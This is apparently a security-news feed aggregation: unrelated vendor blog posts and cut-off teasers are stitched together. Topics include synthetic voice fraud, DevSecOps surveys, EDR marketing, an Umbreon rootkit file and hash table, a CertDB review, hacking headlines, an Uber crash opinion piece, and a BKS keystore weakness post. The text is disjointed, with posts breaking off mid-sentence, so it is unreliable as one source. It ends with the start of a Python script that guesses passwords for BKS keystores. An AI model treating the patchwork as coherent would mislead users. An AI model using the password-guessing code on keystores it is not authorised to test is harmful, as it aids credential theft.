To combat fraudsters’ advancements and adaptations, biometric technology has introduced an alternative method of authentication by offering identification through something you are – rather than something you know or have. Voice biometrics are not entirely infallible, though. Their success is largely determined by the strength of underlying machine learning tools, and characterized by how well the technology can establish session variability.
Even though biometric technology offers a stricter layer of security, fraudsters can still take advantage through a variety of techniques, including imitation, voice modification, replay attacks, and voice synthesis. These approaches are typically deterred by state-of-the-art voice biometric engines. However, synthetic voice attacks can bypass many legacy security measures and traditional voice biometrics systems not designed to detect synthetic attacks. With the use of deep learning, a synthetic voice can be created with only a few minutes of genuine speech — which can then be used by fraudsters.
While traditional voice biometric systems can often be fooled by these synthetic voices, most of them wouldn’t get past a human listener. That’s because, when you listen to someone speaking — or a recording of someone speaking — your brain uses your experience, combined with optimistic and skeptical traits, to determine whether or not you should trust that voice. You may not know why you don’t trust a synthetic voice, but you know that it’s not real.
Deep neural networks empower a machine to do what traditional biometrics cannot. Pindrop’s Deep Voice
biometric engine uses this technology to work like a human brain — encompassing both optimistic and skeptical characteristics — and is capable of identifying synthetic speech. As technology advances to fool human suspicions, technology must also advance to fill that gap. To learn more, watch our on-demand session, “Synthetic Voices are Outsmarting Your Biometric Security.”
The post Synthetic Voice | Fraudsters Have Your Data — And Your Voice appeared first on Pindrop.
Traditionally, most executives have thought of security as a necessary evil – an investment that was needed solely to avoid a bad outcome, but not something that would bring in new customers or boost revenue. But that seems to be changing. CA Technologies recently surveyed IT and business leaders to find out how well organizations are integrating security throughout the development process – a methodology known as DevSecOps.
The survey results highlight the effect of doing security right on the bottom line: analysis shows a clear correlation between how effectively security is managed in the development cycle and improving revenues and profits.
The research found that organizations that are making progress in the shift toward true DevSecOps outperform those organizations that lag in adoption. These security-minded organizations are:
What’s behind these numbers? Ayman Sayed, president and chief product officer at CA Technologies, recently sat down with Evan Schuman to discuss the results and what they imply. Listen to CA Veracode’s AppSec in Review podcast episode 14 to find out why shifting security left in the development cycle is about more than cost avoidance and how it can affect your bottom line.
This morning, Armor, a cloud security provider, released a great report into the cyber crime black market. Armor was formerly known as as FireHost – they were one of the leading hosts...
The post Diving Into the Dark Web and Understanding the Economy Powering Cyber Attacks appeared first on PerezBox.
When you think of Endpoint Detection and Response (EDR) tools, do you envision a CSI-style crime lab with dozens of monitors and people with eagle eye views of what their users and defenses are doing? For many, the idea of EDR seems like something for “the big players” with teams of highly trained people. This is based on the historical products and presentations of these tools in days gone by however, it’s no longer true.
For starters, threats and the need to investigate them to prevent a repeat of an outbreak or breach. Malware and attack methods became smarter to put it simply and stopping them became much more difficult. Threats don’t always look like threats anymore. The same type of attack might arrive through the web, email, as a different file type with a different name but with the same intent: avoid detection and compromise your endpoints.
Defenses have evolved as well, but as part of that growth another problem grew with it. More defenses means more reports, alerts and places to go to investigate and then remediate a threat. Economically, most organizations have not put more staff into the mix alongside this change. The “do more with less” mantra hasn’t left the minds of many, and the result is too many security practitioners drowning in noise and overwhelmed with management tools and data. Perhaps that’s why so many resort to simply re-imaging a machine instead of investigating or remediating a threat. It seems easier (and it probably is) for many. See our infographic ‘A Return to Endpoint Protection Platforms’ for more on how the use of disparate point tools increases operational complexity.
Lastly, the need to do things differently happened. The latest Gartner Market Guide for Endpoint Detection and Response shows a strong shift in the number of organizations that now consider EDR a need and plan to invest in it. Security Practitioners are shifting gears as the nature of threats and the need to know how they arrived, what they attempted to do and where else they may have attempted entry occurred.
Something else changed as these the landscape evolved – EDR solutions became easier and simpler to work with. EDR is no longer a tool that requires a dozen people or a Security Operations Center (SOC). Dashboard style management with prioritized, at-a-glance data has replaced lengthy reports and overwhelming alert volume. More integrated approaches have also cut down manual processes, replacing them with automated responses and automatic contextual insights. This also cuts complexity when delivered as part of an Endpoint Protection platform (EPP). For more details, watch a video on the role of EDR and Machine Learning and the Return to Endpoint Protection Platform Suites.
It no longer requires extensive training or expertise to use and realize value from EDR solutions. Security Practitioners can now simply log in, click to the heart of a threat and remediate it in a short period of time. Remediation can happen in as little as one click and setting traps, triggers and responses for future threats takes only a few minutes.
McAfee offers an integrated EDR solution that gives prioritized data and alerts with a dashboard view of your environment and makes it easy to click to the eye of a threat in seconds. One of our customers was able to go from using spreadsheets and manual processes to getting data in seconds.
If you’re ready to see how easy and effective EDR can be, check out this video below to see a Metasploit attack halted with a straight forward investigation.
The post EDR – Not just for Large Enterprises? appeared first on McAfee Blogs.
For the fifth consecutive report, Gartner placed CA Veracode as a Leader in the 2018 Magic Quadrant for Application Security Testing1. Gartner chooses leaders for the report based on a company’s completeness of vision and ability to execute in the application security testing (AST) market.
In recent years, we’ve witnessed the rise in adoption of DevSecOps and Modern Software Factory approaches to software development. Since our inception, our mission has been to secure the world’s software, and we believe that in order to achieve that mission we need to empower developers to bring security into the earliest stages of the development process. We put our energies into creating static testing tools that meet developers where they are – in their IDEs as they’re writing code. In our experience, organizations who have adopted secure coding techniques are creating the kind of high quality software that serves as a true value driver for their businesses.
In Gartner Inc.’s 2018 “Magic Quadrant for Application Security Testing1,” Ayal Tirosh, Dionisio Zumerle and Mark Horvath state that, “Through 2021, the AST market is projected to have a 14% compound annual growth rate (CAGR). This continues to be the fastest growing of all tracked information security segments. The overall global information security market is forecast to grow at a CAGR of 7.6% through 2021. The AST market size is estimated to reach $775 million by the end of 2018.1”
It has been an incredible year for us, and we’re so excited that Gartner continues to recognize CA Veracode as leaders in application security testing. We’ve dedicated time, energy and creativity to developing and offering a comprehensive application security platform that is in alignment with current software development paradigms and supports the Modern Software Factory approach. Coupled with our designed-for-developer solutions, CA Veracode Verified, eLearning capabilities and support through our community, we help to make security a seamless element of the software lifecycle. If there is one thing we know for sure, it’s that secure software is synonymous with great software.
To see what Gartner had to say about CA Veracode, download the entire Magic Quadrant: https://info.veracode.com/analyst-report-gartner-mq-appsec-testing-2018.html
1Gartner, Inc. 2018 “Magic Quadrant for Application Security Testing” by Ayal Tirosh, Dionisio Zumerle and Mark Horvath. March 19, 2018
Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.
Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems| # | File Name | Hash Value | File Size (on Disk) | Duplicate? |
|---|---|---|---|---|
| 1 | .umbreon-ascii | 0B880E0F447CD5B6A8D295EFE40AFA37 | 6085 bytes (5.94 KiB) | |
| 2 | autoroot | 1C5FAEEC3D8C50FAC589CD0ADD0765C7 | 281 bytes (281 bytes) | |
| 3 | CHANGELOG | A1502129706BA19667F128B44D19DC3C | 11 bytes (11 bytes) | |
| 4 | cli.sh | C846143BDA087783B3DC6C244C2707DC | 5682 bytes (5.55 KiB) | |
| 5 | hideports | D41D8CD98F00B204E9800998ECF8427E | 0 bytes ( bytes) | Yes, of file promptlog |
| 6 | install.sh | 9DE30162E7A8F0279E19C2C30280FFF8 | 5634 bytes (5.5 KiB) | |
| 7 | Makefile | 0F5B1E70ADC867DD3A22CA62644007E5 | 797 bytes (797 bytes) | |
| 8 | portchecker | 006D162A0D0AA294C85214963A3D3145 | 113 bytes (113 bytes) | |
| 9 | promptlog | D41D8CD98F00B204E9800998ECF8427E | 0 bytes ( bytes) | |
| 10 | readlink.c | 42FC7D7E2F9147AB3C18B0C4316AD3D8 | 1357 bytes (1.33 KiB) | |
| 11 | ReadMe.txt | B7172B364BF5FB8B5C30FF528F6C5125 | 2244 bytes (2.19 KiB) | |
| 12 | setup | 694FFF4D2623CA7BB8270F5124493F37 | 332 bytes (332 bytes) | |
| 13 | spytty.sh | 0AB776FA8A0FBED2EF26C9933C32E97C | 1011 bytes (1011 bytes) | Yes, of file spytty.sh |
| 14 | umbreon.c | 91706EF9717176DBB59A0F77FE95241C | 1007 bytes (1007 bytes) | |
| 15 | access.c | 7C0A86A27B322E63C3C29121788998B8 | 713 bytes (713 bytes) | |
| 16 | audit.c | A2B2812C80C93C9375BFB0D7BFCEFD5B | 1434 bytes (1.4 KiB) | |
| 17 | chown.c | FF9B679C7AB3F57CFBBB852A13A350B2 | 2870 bytes (2.8 KiB) | |
| 18 | config.h | 980DEE60956A916AFC9D2997043D4887 | 967 bytes (967 bytes) | |
| 19 | config.h.dist | 980DEE60956A916AFC9D2997043D4887 | 967 bytes (967 bytes) | Yes, of file config.h |
| 20 | dirs.c | 46B20CC7DA2BDB9ECE65E36A4F987ABC | 3639 bytes (3.55 KiB) | |
| 21 | dlsym.c | 796DA079CC7E4BD7F6293136604DC07B | 4088 bytes (3.99 KiB) | |
| 22 | exec.c | 1935ED453FB83A0A538224AFAAC71B21 | 4033 bytes (3.94 KiB) | |
| 23 | getpath.h | 588603EF387EB617668B00EAFDAEA393 | 183 bytes (183 bytes) | |
| 24 | getprocname.h | F5781A9E267ED849FD4D2F5F3DFB8077 | 805 bytes (805 bytes) | |
| 25 | includes.h | F4797AE4B2D5B3B252E0456020F58E59 | 629 bytes (629 bytes) | |
| 26 | kill.c | C4BD132FC2FFBC84EA5103ABE6DC023D | 555 bytes (555 bytes) | |
| 27 | links.c | 898D73E1AC14DE657316F084AADA58A0 | 2274 bytes (2.22 KiB) | |
| 28 | local-door.c | 76FC3E9E2758BAF48E1E9B442DB98BF8 | 501 bytes (501 bytes) | |
| 29 | lpcap.h | EA6822B23FE02041BE506ED1A182E5CB | 1690 bytes (1.65 KiB) | |
| 30 | maps.c | 9BCD90BEA8D9F9F6270CF2017F9974E2 | 1100 bytes (1.07 KiB) | |
| 31 | misc.h | 1F9FCC5D84633931CDD77B32DB1D50D0 | 2728 bytes (2.66 KiB) | |
| 32 | netstat.c | 00CF3F7E7EA92E7A954282021DD72DC4 | 1113 bytes (1.09 KiB) | |
| 33 | open.c | F7EE88A523AD2477FF8EC17C9DCD7C02 | 8594 bytes (8.39 KiB) | |
| 34 | pam.c | 7A947FDC0264947B2D293E1F4D69684A | 2010 bytes (1.96 KiB) | |
| 35 | pam_private.h | 2C60F925842CEB42FFD639E7C763C7B0 | 12480 bytes (12.19 KiB) | |
| 36 | pam_vprompt.c | 017FB0F736A0BC65431A25E1A9D393FE | 3826 bytes (3.74 KiB) | |
| 37 | passwd.c | A0D183BBE86D05E3782B5B24E2C96413 | 2364 bytes (2.31 KiB) | |
| 38 | pcap.c | FF911CA192B111BD0D9368AFACA03C46 | 1295 bytes (1.26 KiB) | |
| 39 | procstat.c | 7B14E97649CD767C256D4CD6E4F8D452 | 398 bytes (398 bytes) | |
| 40 | procstatus.c | 72ED74C03F4FAB0C1B801687BE200F06 | 3303 bytes (3.23 KiB) | |
| 41 | readwrite.c | C068ED372DEAF8E87D0133EAC0A274A8 | 2710 bytes (2.65 KiB) | |
| 42 | rename.c | C36BE9C01FEADE2EF4D5EA03BD2B3C05 | 535 bytes (535 bytes) | |
| 43 | setgid.c | 5C023259F2C244193BDA394E2C0B8313 | 667 bytes (667 bytes) | |
| 44 | sha256.h | 003D805D919B4EC621B800C6C239BAE0 | 545 bytes (545 bytes) | |
| 45 | socket.c | 348AEF06AFA259BFC4E943715DB5A00B | 579 bytes (579 bytes) | |
| 46 | stat.c | E510EE1F78BD349E02F47A7EB001B0E3 | 7627 bytes (7.45 KiB) | |
| 47 | syslog.c | 7CD3273E09A6C08451DD598A0F18B570 | 1497 bytes (1.46 KiB) | |
| 48 | umbreon.h | F76CAC6D564DEACFC6319FA167375BA5 | 4316 bytes (4.21 KiB) | |
| 49 | unhide-funcs.c | 1A9F62B04319DA84EF71A1B091434C64 | 4729 bytes (4.62 KiB) | |
| 50 | cryptpass.py | 2EA92D6EC59D85474ED7A91C8518E7EC | 192 bytes (192 bytes) | |
| 51 | environment.sh | 70F467FE218E128258D7356B7CE328F1 | 1086 bytes (1.06 KiB) | |
| 52 | espeon-connect.sh | A574C885C450FCA048E79AD6937FED2E | 247 bytes (247 bytes) | |
| 53 | espeon-shell | 9EEF7E7E3C1BEE2F8591A088244BE0CB | 2167 bytes (2.12 KiB) | |
| 54 | espeon.c | 499FF5CF81C2624B0C3B0B7E9C6D980D | 14899 bytes (14.55 KiB) | |
| 55 | listen.sh | 69DA525AEA227BE9E4B8D59ACFF4D717 | 209 bytes (209 bytes) | |
| 56 | spytty.sh | 0AB776FA8A0FBED2EF26C9933C32E97C | 1011 bytes (1011 bytes) | |
| 57 | ssh-hidden.sh | AE54F343FE974302F0D31776B72D0987 | 127 bytes (127 bytes) | |
| 58 | unfuck.c | 457B6E90C7FA42A7C46D464FBF1D68E2 | 384 bytes (384 bytes) | |
| 59 | unhide-self.py | B982597CEB7274617F286CA80864F499 | 986 bytes (986 bytes) | |
| 60 | listen.sh | F5BD197F34E3D0BD8EA28B182CCE7270 | 233 bytes (233 bytes) |
| # | File Name | Hash Value | File Size (on Disk) |
|---|---|---|---|
| 1 | 015a84eb1d18beb310e7aeeceab8b84776078935c45924b3a10aa884a93e28ac | A47E38464754289C0F4A55ED7BB55648 | 9375 bytes (9.16 KiB) |
| 2 | 0751cf716ea9bc18e78eb2a82cc9ea0cac73d70a7a74c91740c95312c8a9d53a | F9BA2429EAE5471ACDE820102C5B8159 | 7512 bytes (7.34 KiB) |
| 3 | 0a4d5ffb1407d409a55f1aed5c5286d4f31fe17bc99eabff64aa1498c5482a5f | 0AB776FA8A0FBED2EF26C9933C32E97C | 1011 bytes (1011 bytes) |
| 4 | 0ce8c09bb6ce433fb8b388c369d7491953cf9bb5426a7bee752150118616d8ff | B982597CEB7274617F286CA80864F499 | 986 bytes (986 bytes) |
| 5 | 122417853c1eb1868e429cacc499ef75cfc018b87da87b1f61bff53e9b8e8670 | 9EEF7E7E3C1BEE2F8591A088244BE0CB | 2167 bytes (2.12 KiB) |
| 6 | 409c90ecd56e9abcb9f290063ec7783ecbe125c321af3f8ba5dcbde6e15ac64a | B4746BB5E697F23A5842ABCAED36C914 | 6149 bytes (6 KiB) |
| 7 | 4fc4b5dab105e03f03ba3ec301bab9e2d37f17a431dee7f2e5a8dfadcca4c234 | D0D97899131C29B3EC9AE89A6D49A23E | 65160 bytes (63.63 KiB) |
| 8 | 8752d16e32a611763eee97da6528734751153ac1699c4693c84b6e9e4fb08784 | E7E82D29DFB1FC484ED277C702187818 | 55564 bytes (54.26 KiB) |
| 9 | 991179b6ba7d4aeabdf463118e4a2984276401368f4ab842ad8a5b8b73088522 | 2B1863ACDC0068ED5D50590CF792DF05 | 7664 bytes (7.48 KiB) |
| 10 | a378b85f8f41de164832d27ebf7006370c1fb8eda23bb09a3586ed29b5dbdddf | A977F68C59040E40A822C384D1CEDEB6 | 176 bytes (176 bytes) |
| 11 | aa24deb830a2b1aa694e580c5efb24f979d6c5d861b56354a6acb1ad0cf9809b | DF320ED7EE6CCF9F979AEFE451877FFC | 26 bytes (26 bytes) |
| 12 | acfb014304b6f2cff00c668a9a2a3a9cbb6f24db6d074a8914dd69b43afa4525 | 84D552B5D22E40BDA23E6587B1BC532D | 6852 bytes (6.69 KiB) |
| 13 | c80d19f6f3372f4cc6e75ae1af54e8727b54b51aaf2794fedd3a1aa463140480 | 087DD79515D37F7ADA78FF5793A42B7B | 11184 bytes (10.92 KiB) |
| 14 | e9bce46584acbf59a779d1565687964991d7033d63c06bddabcfc4375c5f1853 | BBEB18C0C3E038747C78FCAB3E0444E3 | 71940 bytes (70.25 KiB) |
A trustworthy virtual private network (VPN) is a good way to keep your internet usage secure and private whether at home or on public Wi-Fi. But just how private is your activity over a VPN? In other words, how do you know if the VPN is doing its job or if you’re unwittingly leaking information to prying eyes?
To find out, you first need to know what your computer looks like to the internet without a VPN running. Start by searching for what is my IP on Google. At the top of the search results, Google will report back your current public Internet Protocol (IP) address. That’s a good place to start, but there is more to your internet connection and its potential for leaks.
How many times have you stumbled on the SSL certificate, and the only things that you cared about were Common Name (CN), DNS Names, Dates (issue and expiry)? Do you know SSL certificate can speak so much about you/ your firm? It can tell stories and motives; you can gather a good intelligence from them - which companies are hosting new domains, sub-domains; did they just revoke the last certificate? Or, why some firm switched its vendors/ CA(s)? We all have read that SSL certificates have always been the talk of the town for their inherent strength but weak issuance process, i.e. the chain of command relying on the Certificate Authorities, (aka the business firms) but haven't played with them in real-time. There are search engines available but none of them as comprehensive, fast and free as CertDB
There have been quite a few attacks and hacks where Certificate Authorities were targeted[1] by hacking groups[2] or even involved[3] directly. Even though the vast initiatives by browsers and firms to regularly monitor SSL certificates[4], improve browser behaviours for awareness[5] and revoke the bad ones has been highly appreciated, the pentesters often don't find much during the comprehensive assessment. Recently, there has been an uproar on the business interests of CA(s) with the issuance, so much so that some are being tagged as bad and untrusted CA[6] for not doing job well. Companies are moving aggressively to HTTPS especially with the recent introduction of LetsEncrypt Wildcard Certificates. But we haven't seen the use of all this information on a common platform to further analyse the certificates and assess their digital SSL footprint and gather valuable intelligence.
This is where CertDB steps in. A great project maintained by smart people and FREE forever[7] for the public. I spent last few weeks accessing their services, and the platform and my short verdict says - It is great! It does have some quirks, but highly recommended!
The crt.sh and CertDB serve different objectives. while crt.sh gets the data from certificate transparency (CT) logging system where "legit" CA submit the certs in "real time"; CertDB is based on the scanning the IPv4 segment, domains and "finding & analyzing" certificates - good or bad.
CertDB can also find self-signed certificates, which crt.sh can not. Hence, CertDB can give a realistic view of HTTPS - which IP is using what certs, self-signed, invalid CA etc; while crt.sh shows the "good" law-abiding view, per say.
CertDB is an Internet search engine for SSL certificates. In simple terms, it parses the certificate and then makes different fields indexable for the user to execute search queries. It indexes the following common information,
| Fields | Details |
|---|---|
| Subject | Country, State, Category, Serial Number, Locality, Organization, Common Name |
| Issuer | Country, State, Locality, Organization, Common Name |
| Others | Public Key IP Address related to the domain, Validity Dates |
| Fingerprint | SHA1, SHA256 and MD5 |
| Extensions | Usage, Subject Key ID, Authority Key ID, ALT Names, Certificate Policies |
Now once you have extracted these fields, you can query and generate intelligence around it. You have these fields available with a logical query, and can be clubbed together to make complex queries. CertDB also provides raw certificates, public key and json formatted certificate information available for download. Recently they have integrated Alexa Ranking with the domains/ IP addresses and all of this information has been filtered and is available as lists - top domains, top organizations, top countries, top issuers etc.
One such exciting list is "expiring certificates" where you can find the list of Domains/ Organizations whose certificates are about to expire. This kind of information can be convenient while auditing or assessing the firm's digital footprint.
While the documentation says the CertDB continuously scans every reachable web-server, on the Internet; the lab tests are not conclusive. I have asked the team to clarify and shall publish the response as part of the interview once I have a confirmed reply. But, it's appreciable that once their scanner detects the certificate, the information is available for the public to perform the required analysis in near real-time.
While we have all the information extracted from the digital certificates, we have to filter the results to get the required information via GUI or API. The GUI is open to all and can be used to do such queries with search-box, but to use the API one has to register an account.
You can register at https://certdb.com/signup, and an API key shall be allotted to you to perform 1000 queries a day with maximum 1000 results per query.
| Field | Value |
|---|---|
| URL | https://certdb.net/api |
| Method | GET, POST |
| api_key | <get your key post registration> |
| q | Any query (just like in search interface) |
| response_type | 0 — JSON list of the dictionary with found certificates with all details 1 — JSON list of found certificates in base64 2 — JSON list of distinct organizations from found certificates 3 — JSON list of distinct domains from found certificates |
It takes 30 seconds to register and receive the API Key. Here are few examples of querying the right information,
issuer:"Godaddy.com" country:"Italy"cidr:"13.32.0.0/15" (example: replace , with newline and only list first 10 results tr , '\n' | head -10
expiring:"10 days"expiring:"7 days" organization:"Netflix"
new:"5 days" organization:"Safeway Insurance Company"
There can be many such cases where you would like to know the certificates issued to a firm in the past; or if the firm recently got a new domain/ sub-domain and looking for a new business line. I could think of the following interesting cases if I am doing an assessment,
site:example.com and then start negating in a loop as per the first result. site:example.com -www to site:example.com -www -test. Or, use a threat intel tool to gather the sub-domains and validate if they all have SSL certificates. Manually check, and report if some domains are not on HTTPS (Refer: Google will be hard on you if you are not on HTTPS!)q="organization:"Example Inc." and you will be surprised to see sometimes firms are not aware of the domains on their name, or certificate issued by them but not renewed on time.While the service is great, there are few issues as well which the team is working on,
GET request. It is not recommended as it can be cached at many hops (example: proxy)json parsing of the results.It's been few weeks since I am using this service, and my frank opinion is it has great potential and use. I am using this service while assessing AWS instances, and Fortune 500 firms. I have also found some expiring certificates for the clients and informed them in due course of time. I would highly recommend you to have a look and register an account. You can also set a cron job to check the dates/ digital SSL footprint of an organization.
Next Steps: I shall soon be publishing an interview with their team asking for more details on the roadmap, competition, and improvements.
Cover Image Credit: Photo by Rubén Bagüés
Distrust of the Symantec PKI: Immediate action needed by site operators ↩︎
In an exclusive interview with Cyber Sins, CERTDB confirms this "project" will always be free to use. ↩︎
Amazon IP Range: https://ip-ranges.amazonaws.com/ip-ranges.json ↩︎
This week, Keith and Paul discuss Uber's open source tool for adversarial simulation, AMD processors, Hijacked MailChimp accounts used to distribute banking malware, and more on this episode of Application Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/ASW_Episode09
Visit https://www.securityweekly.com/asw for all the latest episodes!
Hacker groups began to flourish in the early 1980s with the emergence of computer. Hackers are like predators that can access your private data at any time by exploiting the vulnerabilities of your computer. Hackers usually cover up their tracks by leaving false clues or by leaving absolutely no evidence behind. In the light of
The post Three Hacking Groups You Definitely Need to Know About appeared first on Hacker News Bulletin | Find the Latest Hackers News.
Creating a mysql user is a very common task and a very important one. Many developers after creating a user grant them all permissions over a mysql schema and this can be a big security flaw. When you are creating a user you must think of all permissions that user will need and grant them the
The post Mysql create user appeared first on Hacker News Bulletin | Find the Latest Hackers News.
The enormous number of hacks in 2014 have propelled information safety into the front of the news and the brains of many companies. Cyber attacks on big enterprises like Target, Sony, and Home Depot lately caused President Obama to call for partnership amongst the two sectors (private and public) in order to share the information
The post Why the Cyber Criminals at Synack need $25 Million to Track Down Main Safety Faults appeared first on Hacker News Bulletin | Find the Latest Hackers News.
Windows has the added facility to work as a VPN server, even though this choice is undisclosed. This can work on both versions of Windows – Windows 8 and Windows 7. To enable this, the server makes use of the point-to-point tunneling protocol (PPTP.) This could be valuable for linking to your home system on
The post Want to have a VPN Server on Your Computer (Windows) Without setting up Any Software? appeared first on Hacker News Bulletin | Find the Latest Hackers News.
Pemera Blue Cross, a United States of America – based health insurance corporation, has confided in that its systems were infringed upon and their security and associability was breached when cyber criminals hacked the company and made their way in 11 million of their customers’ records. It is the second cyber attack in a row
The post The Health insurance Company – Premera Blue Cross – of the United States of America was cyber criminally attacks and 11 million records were accessed appeared first on Hacker News Bulletin | Find the Latest Hackers News.
Marketable and even martial planes have an Achilles heel that could abscond them as susceptible to cyber criminals on the ground, who specialists say could possibly seize cockpits and generate disorder in the skies. At the present, radical groups are thought to be short of the complexity to bring down a plane vaguely, but it
The post Political analysts caution air plane connections systems that are susceptible to cyber attacks appeared first on Hacker News Bulletin | Find the Latest Hackers News.
A single researcher who is actually a cyber criminal made $225,000 this week – that too all by legal means! This cyber research hacker cyber criminally attacked browsers this past week. For the past two days, safety researchers have tumbled down on Vancouver for a Google – sponsored competition called Pwn – 2 – Own,
The post Researcher makes $225,000, legally, by cyber attacking browsers appeared first on Hacker News Bulletin | Find the Latest Hackers News.
Associates of two Chinese cyber crime teams have hollowed out the best prizes at a main yearly hacking competition held in Vancouver, Canada. Cyber attackers at Pwn2Own, commenced in 2007, were triumphant in violating the security of broadly -used software including Adobe Flash, Mozilla’s Firefox browser, Adobe PDF Reader and Microsoft’s freshly – discontinued Internet
The post Vanished in 60 seconds! – Chinese cyber criminals shut down Adobe Flash, Internet Explorer appeared first on Hacker News Bulletin | Find the Latest Hackers News.
Imagine having the access and control to your computer to any place in the world from your iPhone. That would be really futuristic, no? Actually, this is not because there are applications available that can let you tap into your computer from on your mobile. These remote control applications do more than simply allow you
The post Microsoft Remote Desktop Connection Manager appeared first on Hacker News Bulletin | Find the Latest Hackers News.
The hack – tivist cyber criminal group Anonymous, more often than not related with cyber campaigns in opposition to fraudulent government administrations and terrorist organizations, has now set its sights on space. They posted a video on the group’s most important You Tube channel on the 18th of March, and called on to everyone through
The post Anonymous wants to further its engagement in the exploration of space – ‘Unite as Species’ appeared first on Hacker News Bulletin | Find the Latest Hackers News.
Traditionally, security was about cost avoidance. It was thought of like insurance – something you have to have in case something bad happens, but not something that would boost the bottom line or attract customers. But in today’s environment, we are increasingly seeing that security is about more than cost avoidance; done right, it creates a competitive advantage. The results of a recent IDG survey of IT pros found that the vast majority are in fact more likely to purchase software that has been certified secure by a third party. In this way, security goes from a way to avoid something bad to a way to proactively bring in business.
If your customers and prospects aren’t asking about the security of your software product, they will be. With breaches dominating the headlines – and damaging corporations and careers – software purchasers are increasingly wary about the code they are bringing into their organizations and want assurance that it is not leaving them open to attack. And a recent joint survey from CA Veracode and IDG Research backs up this point. We surveyed IT professionals and executives who are involved in the purchase of software at their organizations about the role security plays in their purchase decisions. A whopping 95 percent of survey respondents reported that their confidence in a vendor whose application security has been validated by an established independent security expert would increase at least somewhat, and 66 percent said they are much more likely to work with that vendor. Nearly every respondent (99 percent) perceives advantages of working with a certified secure vendor, including improved comfort of customers regarding data security and improved protection of IP data.
When asked what an independent security validation program should look like, more than 70 percent of respondents placed critical or high importance on each of the following:
But the respondents also report struggling to get this information from their vendors. Nearly all organizations (99 percent) run into roadblocks when trying to assess the security status of applications and software they didn’t develop in-house. These challenges range from difficulty of verifying the security of open source code to an inability to obtain the code necessary to conduct independent testing, and a lack of necessary information from software vendors about their security and testing practices. Even when they do get security information from vendors, survey respondents note that security information from vendors is either too difficult to understand or too time consuming to read through, creating frustration that can delay, or even end, sales cycles.
By working to embed security testing into your development process, and then getting that initiative validated by an independent third party, you prove at a glance that security is a priority, addressing your prospects’ security concerns pre-emptively and, in turn, speeding your sales cycles. With CA Veracode’s new CA Veracode Verified program, you’ll get this third-party validation from one of the most respected names in the industry. The Verified seal allows you to address your customers’ and prospects’ security questions and concerns pre-emptively, making you stand out among the competition. And, representation in the CA Veracode Verified directory provides you the visibility to a larger audience of prospects and customers looking for partners who can provide solutions driven by secure software.
Get all the details on IDG’s survey results in the How to Make Security a Competitive Advantage report.
Find out more about getting ahead of the competition by getting your app Verified.
Although it still is early in the news cycle, so far we know from Tempe police reports that an Uber robot has murdered a women.
The Uber vehicle was reportedly headed northbound when a woman walking outside of the crosswalk was struck.
The woman was taken to the hospital where she died from her injuries.
Tempe Police says the vehicle was in autonomous mode at the time of the crash and a vehicle operator was also behind the wheel.
First, autonomous mode indicates to us that Uber’s engineering team now must admit their design decisions led to this easily predictable disaster of a robot taking a human life. For several years I’ve been giving talks about this exact situation, including AppSecCali where I recently mentioned why and how driverless cars are killing machines. Don’t forget the Uber product already was caught ignoring multiple red lights and crosswalks in SF. It was just over a year ago that major news sources issued the warning to the public.
…the self-driving car was, in fact, driving itself when it barreled through the red light, according to two Uber employees…and internal Uber documents viewed by The New York Times. All told, the mapping programs used by Uber’s cars failed to recognize six traffic lights in the San Francisco area. “In this case, the car went through a red light,” the documents said.
This doesn’t sufficiently warn pedestrians of the danger. Ignoring red lights really goes back a few months before the NYT picked up the story, into December 2016. Here you can see me highlighting the traffic signals and a pedestrian, asking for commentary on obvious ethics failures in Uber engineering. Consider how the pedestrian stepping into a crosswalk on the far right would be crossing in front of the Uber as it runs the red light:
Second, take special note of framing this new crash as a case where someone was “walking outside of the crosswalk”. That historically has been how the automobile industry exonerated drivers who murder pedestrians. A crosswalk construct was developed specifically to shift blame away from drivers going too fast, criminalizing pedestrians by reducing driver accountability to react appropriately to vulnerable people in a roadway.
Vox has an excellent write-up on how “walking outside of the crosswalk” really is “forgotten history of how automakers invented”…a crime:
…the result of an aggressive, forgotten 1920s campaign led by auto groups and manufacturers that redefined who owned the city streets.
“In the early days of the automobile, it was drivers’ job to avoid you, not your job to avoid them,” says Peter Norton, a historian at the University of Virginia and author of Fighting Traffic: The Dawn of the Motor Age in the American City. “But under the new model, streets became a place for cars — and as a pedestrian, it’s your fault if you get hit.”
Even more to the point, it was the Wheelmen cyclists of the late 1800s who campaigned for Americas paved roads. Shortly after the roads were started, however, aggressive car manufacturers manipulated security issues to eliminate non-driver presence on those roads.
We’re repeating history at this point, and anyone who cites crosswalk theory in defense of an Uber robot murdering a pedestrian isn’t doing transit safety or security experts any favors. Will be interesting to see how the accountability for murder plays out, as it will surely inform algorithms intending to use cars as a weapon.
This week the gang discusses Rich’s recent discussions with some clients struggling to deal with auditors and assessors who don’t really understand cloud computing.
Watch or listen:
While investigating BKS files, the path I went down led me to an interesting discovery: BKS-V1 files will accept any number of passwords to reveal information about potentially sensitive contents!
In preparation for my BSidesSF talk, I've been looking at a lot of key files. One file type that caught my interest is the Bouncy Castle BKS (version 1) file format. Like password-protected PKCS12 and JKS keystore files, BKS keystore files protect their contents from those who do not know the password. That is, a BKS file may contain only public information, such as a certificate. Or it may contain one or more private keys. But you won't know until after you use the password to unlock it.
Update March 21, 2018:
We have updated this blog post based on feedback from Thomas Pornin, and confirmation from the Bouncy Castle author. Like JKS files, BKS files do not protect the metadata of their contents by default. The keystore-level password and associated key is only used for integrity checking. By default, private keys are encrypted with the same password as the keystore. These private keys are not affected by the keystore-level weakness outlined in this blog post. That is, even if an unexpected password is accepted by a keystore itself, that same password will not be accepted to decrypt the private key contained within a keystore. Original wording in this blog post that is now understood to be inaccurate has been marked in strikeout notation for transparency.
As I investigated the first BKS file in my list, I quickly realized assumed that I could not determine what was contained in it unless I had the password. Naively searching the web for things like "bks cracker" and stopping there, I concluded that I'd need to roll my own BKS bruteforce cracker.
Update March 21, 2018:
Tools used to inspect BKS files will refuse to list the contents of the keystore if a valid password is not provided. However, this is actually not because the metadata of the keystore contents are protected. Because the metadata of the keystore contents are not encrypted, this information can be viewed without needing to use a valid password.
Using the pyjks library, I wrote a trivial script:
#!/usr/bin/env python3
import os
import sys
import jks
def trypw(bksfile, pw):
try:
keystore = jks.bks.BksKeyStore.load(bksfile, pw)
if keystore:
print('Password for %s found: "%s"' % (bksfile, pw))
